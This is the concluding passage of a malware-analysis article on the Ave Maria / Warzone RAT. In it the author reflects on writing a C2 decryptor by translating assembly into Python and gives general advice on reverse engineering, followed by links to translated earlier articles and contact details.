accept a given file path from command line. Please, just in case it’s necessary, check past articles of this series to learn how to do it. 65 | P a g e ----- ## 10. Conclusion I believe this article have left good messages and take aways because even a simple malware like Ave Maria / Warzone RAT can present small challenges. When I started this article, I really planned to present an article simpler than any other ones in this series so far, but the C2 algorithm unexpectedly demanded a quite effort to construct a reasonable explanation. Personally, I like this approach of translating minimum set of Assembly instructions to Python because it’s direct and usually produce effective results with any custom algorithm. Of course, it eventually takes a bit more time to get it done, but it’s worth. Furthermore, not just in this case, but for every other case where we need to implement a customized decryption algorithm, recommendations are the same: - Get a clear understanding of the encryption/decryption algorithm. - Ensure you have a good comprehension of involved Assembly instructions. Differently from most cases which we are able to write C2 decryptors by only analyze pseudo code on IDA Pro, this article showed a situation that using the Assembly code produced more reliable results without running risks in try and error attempts because Assembly offers us the exact information that we need to translate instructions to Python. Better: works for any case. There’s another thing I’d like to comment: reversing codes (and, in this case, malware threats) takes time and demands patience. As readers already know, one scenario is running the malware sample in a sandbox / virtual machine and getting the important results. Other quite different scenario is reversing a malware sample in detail, which also demands different knowledge from areas such as cryptography, Windows internals and, no doubts, programming, which help and level-up reverse engineers’ skills so much. This article certainly will have typos and errors, but it isn’t big deal. Soon I find them, I’ll release a new revision of this document. Recently a professional (Twitter: _@bushuo12) translated the three first articles of this series to Chinese_ and, just in case you’re able to understand the language, Chinese versions follow below: - **[(MAS): Article 1 -- https://www.yuque.com/docs/share/619f03dc-1bc9-42f7-828e-fc17d82786e7](https://www.yuque.com/docs/share/619f03dc-1bc9-42f7-828e-fc17d82786e7)** - **[(MAS) : Article 2 -- https://www.yuque.com/docs/share/d16efbd6-e2e6-4325-9b9e-23c613bd2280](https://www.yuque.com/docs/share/d16efbd6-e2e6-4325-9b9e-23c613bd2280)** - **[(MAS) : Article 3 -- https://www.yuque.com/docs/share/7dca2583-8456-4ca5-8862-0524fc6faaf9](https://www.yuque.com/docs/share/7dca2583-8456-4ca5-8862-0524fc6faaf9)** Just in case you want to keep in touch: - **Twitter:** **@ale_sp_brazil** - **Blog:** [https://exploitreversing.com](https://exploitreversing.com/) Keep reversing and I see you at next time! **Alexandre Borges** 66 | P a g e -----